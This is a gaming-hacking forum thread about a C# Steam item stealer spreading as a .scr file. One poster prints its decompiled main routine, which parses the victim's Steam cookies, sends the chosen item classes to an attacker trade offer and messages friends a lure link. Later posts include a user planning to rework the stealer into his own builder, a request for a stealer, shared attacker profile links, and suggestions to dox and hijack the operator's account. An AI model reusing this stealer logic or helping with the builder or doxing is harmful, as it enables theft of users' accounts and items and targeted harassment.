[Джеймс]

I don't know if many of you have heard, but there is a .scr floating around on Steam that sends this message:

The funny thing is that it is coded in C# and not obfuscated or protected in any way
I decompiled it and this was in the main function

Code

private static void Main()
    {
      SteamWorker steamWorker = new SteamWorker();
      steamWorker.addOffer("76561198153148180", "192882452", "xA2XguMv");
      steamWorker.ParseSteamCookies();
      if (steamWorker.ParsedSteamCookies.Count <= 0)
        return;
      steamWorker.getSessionID();
      steamWorker.addItemsToSteal("440,570,730,753", "753:gift;570:rare,legendary,immortal,mythical,arcana,normal,unusual,ancient,tool,key;440:unusual,hat,tool,key;730:tool,knife,pistol,smg,shotgun,rifle,sniper rifle,machinegun,sticker,key");
      steamWorker.SendItems("");
      steamWorker.initChatSystem();
      steamWorker.getFriends();
      steamWorker.sendMessageToFriends("WTF Dude? http://screen-pictures.com/img_012/");
    }

It's amazing how people will just do this and not take the precaution to hide their steam profile

[Aristocles]

I would say thanks for the bin, so "thanks for the binary ! :)"

[Deathmaul]

I saw something like this from one of my friends. It was a virus that was auto sending messages from his profile to everyone on his friends list. It looked like it was just sending them a link attached to a picture.

I am unsure what the deal is. Seems like it was harmless but at the same time there has to be an alternate motive.

Who knows though, thanks for the info. 🤝

[Aristocles]

Glad I could be of service
If you're planning on using this it's worth noting that the account seems to be a middle man because items are being funneled in and then occasionally large number (around 300) will disappear. There are links on the profile's comment section to other accounts, and those accounts have links to other accounts that also have links... it's a long process for the item to get to the new "owner."

Well the stealer is working (just lost my skins), so I replaced the strings like this and I'm gonna change strings with Mono.Cecil to make a builder.
You avoid me to waste 50 bucks on a steam stealer :) !

[Aristocles]

This is nothing, it was gift from former friends, and on the top of that I don't play Cs:Go anymore, too bad at this game

---

Thnaks again gurgle528

[Deathmaul]

Glad I could be of service
If you're planning on using this it's worth noting that the account seems to be a middle man because items are being funneled in and then occasionally large number (around 300) will disappear. There are links on the profile's comment section to other accounts, and those accounts have links to other accounts that also have links... it's a long process for the item to get to the new "owner."

---

As far as I can tell the motive is to get items without being known
While they didn't obfuscate their code, the profile doesn't appear to plan on keeping all of the items. It seems to distribute it to other accounts, I'm gonna assume it's using a Steam bot to log in to the accounts and trade the items to friend's accounts or something of the like.
For some reason all of their friends have a fuck ton of links to other accounts.

Ahh, I see. Hmm... I will have to look into this further I guess. Looks like a few people I know have run across this.

Thanks for the information.

[Maid]

Looks like a small piece of neat code to me, but nice work on decompiling it.. I really hate steam stealers myself.. haha

[ScreamX]

What is the SteamWorker class? Is that something steam released officially or someone's made with duct tape and super glue?

[Hiiro]

What is the SteamWorker class? Is that something steam released officially or someone's made with duct tape and super glue?

I highly doubt Steam officially released something with the functions "addItemsToSteal" xD

[dennisryan222]

guys help me to get started!! I need a steamstealer too. Where can I get one?

[Autononymous]

The guy that steals them is this guy right here.

http://steamcommunity.com/id/traders123123/

steamidfinder =)

[Autononymous]

Unfortunately this is not actually the person, that is a bot account
The name is not random as well, traders123123 means the accounts it trades with are two profiles by the name of "123" (one is now known as Zuker), however it's traded with other accounts
There is also another SteamID in the source code somewhere, not sure if the person is related

It appears to be a group of Russians, however some profiles were Albanian and others were Argentinian
For some reason there are just a bunch of people with profiles full of links to other profiles... A few of them refer to a "vanguard" account (they link to Zuker with the word vanguard written in Russian) which probably means they user Zuker to distribute items.

They intentionally let the account found in the source code be public and visible because otherwise it could receive trade offers. The other accounts stay private until items are actively being funneled into them.

Oh shit, they take this shit seriously..

Damn.

[Autononymous]

Yea one of them was surprised when I messaged him haha
he said something like "how you get that info"

you should have doxed him and jacked his account lol.

[Autononymous]

His profile is set to private and his username is random generated letters, still working on it though

Ah I see.

It's kinda hard to SE steam support.
But it is really easy with a dox though.

[fujioka]

Does this stealer still work after steam api update?